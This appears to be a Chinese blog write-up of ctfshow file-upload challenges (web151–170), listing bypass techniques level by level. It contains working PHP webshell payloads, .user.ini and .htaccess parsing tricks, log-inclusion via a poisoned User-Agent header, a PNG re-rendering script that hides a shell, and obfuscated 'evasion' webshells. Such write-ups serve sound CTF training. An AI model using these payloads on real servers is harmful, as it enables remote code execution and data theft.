ctfshow 文件上传

文件上传

文件上传常见姿势

  1. 前端校验 修改前端代码,或burp抓包
  2. 后端校验 前端上传php,burp修改MIME
  3. .user.ini
  4. 文件魔术字节欺骗 php过滤,采用简写
  5. php骚操作
  6. 日志包含绕过
  7. GIF89A绕过getimagesize
  8. png图片二次渲染
  9. jpg图片二次渲染
  10. zip文件上传
  11. apache解析漏洞
  12. 木马免杀

web151

前端校验

题目提示前端校验不可靠,绕过前端校验,上传一句话木马

F12查看页面源代码发现仅允许上传JPG文件,因为本题只是前端校验,所以想到两种解决办法

一是修改前端代码,将允许的文件后缀改为php

lay-data="{url: 'upload.php', accept: 'images',exts:'php'}"

然后上传一句话木马为<?php eval($_REQUEST[888]);,并访问,路径为url+/upload/文件名.php,如果出现了Undefined offset……证明一句话木马写入成功,之后利用参数888进行蚁剑链接或者post传参,找到flag

二是用burp抓包,作为中间人的身份修改文件后缀为php
请添加图片描述

之后的操作同一

web152

后端校验

这道题涉及到后端检验,所以如果还是采用第一题的第一种解法,修改前端代码,就不可了,不过第二种方法仍然可以

介绍一种新方法,后端校验,修改MIME类型,即上图中的content-type

MIME(Multipurpose Internal Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类

常见的MIME类型:

超文本标记语言文本:.html text/html

xml文档:.xml text/xml

XHTML文档:.xhtml application/xhtml+xml

普通文本:.txt text/plain

RTF文本:.rtf application/rtf

所以我们可以通过用burp抓包后修改MIME后端检验类型,来执行我们的php代码

首先我们上传一个php文件,同时用burp抓包,将burp中的Content-Type: application/octet-stream修改为Content-Type: image/png,即让服务器认为这个文件是一个图片文件去解析执行

上传成功,之后的操作同web151

web153

.user.ini

https://www.php.net/manual/zh/configuration.file.per-user.php

同样的提示说后端检验要严密,访问url/upload,发现可以访问,也即该目录下存在一个php文件,可以利用.user.ini文件上传,该文件只有在有php文件的时候才生效

百度搜索查看到该文件的可配置项有auto_append_file、auto_prepend_file可以尝试进行文件包含

首先上传user.ini文件,内容为

auto_append_file=ykingh.png

提示上传失败,需要修改前端校验,

请添加图片描述

首先修改前端提交按钮的accept为file类型,然后删掉exts,接着用burp抓包,修改文件名为.user.ini,文件内容不变,然后修改MIME类型为image/png并提交

提交成功后继续提交ykingh.png,

内容为一句话木马提交后访问url/upload,进行解析,解析成功后利用 888 post传入参数888=system('cat ../flag.php');,提交flag

请添加图片描述

web154

php过滤

看题,,后端不能单二校验,什么鬼。。。。

题目和上一题区别不大,过滤了php,不过可以采用简写,首先绕过前端验证,可以直接上传一张正常照片,然后采用burp抓包,修改内容为请添加图片描述

然后上传图片马,即修改burp内容为

请添加图片描述

这道题过滤掉了php,采用简写,以后为了避免出现这种情况,我们可以直接采用简写

成功之后,操作同前,访问upload,POST传入参数

首先ls判断出当前文件夹有哪些文件,然后../去找上级目录,发现了flag.php
999=system('cat ../flag.php');

或者直接蚁剑链接

web155

做法完全同web154

web156

这道题在上传木马的时候,经过验证发现对于文件内容进行了过滤,经检测过滤掉了{} php,所以我们可以构造变相的一句话木马来绕过

<?= eval($_REQUEST{999});?>

之后操作和前几道题一样

web157

php骚操作

这道题做法和前面相同,有区别的地方是,过滤的地方变多了,经过检验有{} [] ; php等等

影响到了最终的上传,所以我们可以采用php的骚姿势,在上传的图片马中,修改内容为

<?= eval(array_pop($_REQUEST))?>

直接提交请求就可,任何参数都能提交

之后的操作同之前的

另一种方法就是,,

因为我们之前知道了文件的位置,所以我们可以构造一句话木马,直接访问flag,修改一句话木马为

<?= `cat ../fla*`?>				或者<?= system('cat ../fla*')?>

web158

同157

web159

过滤了括号()

web157中不带括号的payload照样可以使用

web160

过滤了括号反引号空格还有一些关键字

突破空格过滤可以用换行符%0a

日志包含绕过

尝试利用日志包含绕过

.user.ini文件照常上传,之后上传的png图片内容修改为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

log被过滤了,拼接绕过

图片内容上传成功后,在url栏中访问url/upload,找到日志文件,

在该路径下进行UA头修改,修改为一句话

<?php system('nl ../f*')?>

查看源代码即可

web161

GIF89A绕过getimagesize

操作方法和web160相同,在文件内容中增加GIF89A即可

web162、163

经过检测,过滤掉了.即文件名中不能包含点,文件内容中也不能包含点

可以利用远程文件包含或者session条件竞争

借用spaceman师傅的VPShttp://1363569045/

。。。暂时跳过。。。网上有脚本

web164

png图片渲染

先利用脚本构造出一个png图片,

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

木马内容为:<?$_GET[0]($_POST[1]);?>

即get传入命令,post传入参数

上传保存好的图片,上传成功后访问,构造url为http://b4bb37f6-bb13-48e7-bdc0-6edd956d49d2.challenge.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system

POST传入1=tac f*

然后ctrl+s下载,保存为txt文件打开找到了flag

web165

jpg图片渲染

web166

zip文件上传

首先通过查看源代码,发现本题只允许上传zip格式的文件,我们本地构造一个txt文件,写入一句话木马,然后修改后缀名为.zip,上传,同时用burp抓包,send to repeater之后看到了返回的文件名,在源代码中找到了保存的路径,直接访问并用burp抓包

请添加图片描述

得到flag

web167

apache解析漏洞

看到提示httpd,想到apache解析漏洞,利用.htaccess文件进行绕过

首先上传.htaccess文件,文件内容为

AddType application/x-httpd-php .png

可以将png文件当作php文件来解析

然后上传png文件,内容为一句话木马

请添加图片描述

然后访问url,post传参
请添加图片描述

web168

基础免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

首先要看懂免杀木马的传参姿势

然后根据题意只能上传png图片,我们可以尝试上传png图片后,用burp抓包修改为php文件

请添加图片描述

发送到重发器,发送成功,之后访问网址进行解析

请添加图片描述

web169

日志包含

文件只允许上传zip文件,我们先上传一个zip文件,然后抓包,上传.user.ini,同时修改MIME类型为image/png,因为png可以解析php文件,上传.user.ini文件时发现文件内容不允许包含php和尖括号,所以我们可以采用日志包含

即上传的.user.ini文件,内容修改为

auto_prepend_file="/var/log/nginx/access.log"

上传成功之后随便上传一个php文件,比如123.php,为了满足蚁剑的链接条件

请添加图片描述

之后进行日志包含

burp抓包,修改UA头为一句话木马,然后放包,访问上传的123.php,加载了日志文件,通过蚁剑链接即可获取flag

web170

做法同169

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
您好!对于CTF Show文件的问题,我可以给您一些基本的指导。 在CTF(Capture The Flag)比赛中,文件通常是一个常见的题目类型。这类题目要求参赛选手利用漏洞或者绕过限制,成功将文件到目标服务器上。 常见的文件漏洞包括但不限于以下几种: 1. 后缀绕过:目标服务器对上文件的后缀进行了限制,但未对文件内容进行验证。您可以尝试修改文件后缀名,或者在上时使用一些特殊的字符来绕过后缀检测。 2. MIME类型绕过:目标服务器对上文件的MIME类型进行了检测,但未对文件内容进行验证。您可以尝试修改文件的Content-Type头部信息,或者在上时使用一些特殊的字符来绕过MIME类型检测。 3. 目录穿越:目标服务器未对文件路径进行合理的校验,您可以尝试通过上包含特殊字符(如'../')的文件名来实现目录穿越,达到上文件到其他目录的目的。 4. 文件包含漏洞:目标服务器存在文件包含漏洞时,您可以通过上一个恶意文件,然后在适当的条件下触发该文件被包含,从而执行您所需要的操作。 需要注意的是,在实际的CTF比赛或者演练中,上文件是一个涉及安全性的操作,务必遵循规则和道德准则,避免对他人系统造成不必要的损害。 希望这些信息对您有所帮助!如果您有其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值